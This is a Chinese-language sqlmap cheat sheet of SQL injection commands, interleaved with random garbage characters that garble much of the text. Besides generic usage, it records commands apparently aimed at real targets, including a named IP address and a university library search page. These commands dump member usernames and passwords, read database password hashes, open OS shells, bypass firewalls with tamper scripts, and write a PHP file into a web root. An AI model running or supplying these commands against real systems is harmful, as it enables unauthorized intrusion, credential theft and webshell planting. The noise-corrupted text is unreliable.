/pentest/database/sqlmap
" l1 N- ]# R9 t. B& N6 j9 f8 f
* I( c i0 B# T4 [- gupdate :::::> in the folder after execute following order : svn update
9 T0 F" C9 f- I2 b1 T5 @! W: j) K: h! j5 |6 j9 Q) J% n4 C
sqlmap.py -r 1.txt --current-db) S" q; M/ Q3 u3 f/ t" u
6 B' y) E$ K% \2 M# K7 P
v 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”4 `" ^) [# i, o( X2 ~! G
n! R/ O9 Y( X+ n' L) W* R==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ( Y W& D0 d7 E) W
猜解数据库
; H& Z x) e' L1 s4 C./sqlmap.py -u "injection-url" --dbs
. G1 Q B% h- u3 z5 r+ y0 k9 Msqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"
5 D; J) j- Z, H2 m9 C
+ f0 E p: C c& k- S: D猜解表名4 b8 |" }0 Z3 @6 p C7 O
./sqlmap.py -u "injection-url" -D database_name --tables
0 Q6 s V: l$ k! ?0 X* H5 L. [' _. B% `9 Y, K, \! j
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"7 `% K8 C: x8 ~4 n. F
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
' {2 x* l- J k* S& X5 G; f% I: O B3 H
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
0 F1 F$ g! n% D T0 O+ J- C7 g) a# g' L U% D
sqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py". ^# m: S2 c6 v% G; `& Y
sqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
1 @5 q2 \3 \. T, ]! dsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" 2 l, D5 o" l1 }0 P
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"' Z: a5 B6 ]; G/ H9 `4 o
- K" ~# F) X( J
sqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
; P2 ?) a/ q) K- Rsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py": a$ j; n% z8 s; M
sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"+ H; }& M7 J) {. a9 m
sqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py". [1 O- O6 z; f' o
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump
. w+ j" k' C, L; X' P, u" k" K
i( \& A' e# D! J, {5 f) F" qsqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了
2 W' Z Z8 P9 x2 \% A; a6 Asqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
# k# ^; U$ I7 B) d1 ]! [. z
! w3 s- w+ E0 F9 J3 J' z2 Y/ @/ [sqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
/ s" Z7 w: ]% y2 n& [8 x& I- W猜解列名 [; L5 W( H) w: {+ K4 J
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns9 r$ X" K* X6 f! ] F4 P( j$ n* T
8 i+ R. }: r# b8 l" ^7 L+ t4 tsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" ' D7 D$ F+ S2 X6 j' V' z R
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py"
& U X' n+ |0 J# j6 L+ Psqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"
; w2 n3 Y8 v. k0 }1 Q0 f' s2 M% T0 j1 F. w( Y" c' M/ [
sqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"
( ~9 \- v$ F& ]& s/ K2 U&submit=Go
* L5 W3 @9 C$ H! q+ k6 k猜解值
/ @* x& ?# P* o( w- o( r./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump
4 K( N6 l1 e6 Y" B' z========================================================& v! a. y* i: b
搜索表名中包括mana字符的
( w4 I- G/ X9 X# d' a7 K8 ?, C/sqlmap.py -u "injection-url" -T mana --search r( m3 E0 q; k
返回一个交互式sql shell
0 v( q( D3 r4 i9 ?, i5 D/sqlmap.py -u "injection-url" --sql-shell
* Z9 F8 W# X1 @' r+ `" U' _4 I+ ~读取指定文件(需权限)4 ~: c+ v+ b* `$ V; v m* D
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini"* t+ z/ l4 z0 o' d3 q
查看当前 用户 及 数据库 ' k% l6 x' S0 h3 `
/sqlmap.py -u "injection-url" --current-user --current-db
* D1 O' d2 b. P' Z本地文件 写入 远程目标绝对路径
; k! ]8 x$ i- I4 m3 t/ @/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径4 A4 b, F* }% Z9 J% p: P/ J( l
sqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" % ^6 H" R: }0 g! z6 f
5 q F2 R! v! ~sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
# {) ^. ?# m& }4 P# S4 r5 S/ q查看某用的权限# d6 Z% k9 C! u9 e& Z8 G3 H
/sqlmap.py -u "injection-url" --privileges -U root' Q2 z' ^1 E) ~8 A/ @" ]
查看当前用户是否为dba
/ F, T+ d% }( _2 W' F/ K/sqlmap.py -u "injection-url" --is-dba6 `# s- c% G: e4 g
读取所有数据库用户或指定数据库用户的密码
8 G. j1 m$ l, J6 q! f- ~" Y+ a R+ Nsqlmap.py -r 1.txt --users --passwords
' M+ \. [# C$ X" K5 ysqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 3 Z8 `. a, l+ @1 J7 P1 z8 k6 I( T' L
; `4 `2 A. A( P: n" h$ _$ Z/sqlmap.py -u "injection-url" --passwords -U root n0 y) M. m/ l$ C) E. y4 d
V: P, W& z: K
--start&&--stop 与 --first&&--last 的区别
9 M( L- {: L% P/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)- P4 l3 w. K" I7 N
& w) d+ r& C/ G% ]7 t8 I
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)9 O# B9 r" y3 y, A
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
o1 m& O: _9 P# G6 F- ^ z# N/ g/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
! w2 r0 h% Z' ]& |+ y" z' J: D3 { i% i6 t5 f: d/ ^4 Y
执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)
: h G) [6 P# y( G/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"
0 R4 v+ ]9 k: @
8 E; K- G7 h9 h' e# V: ? |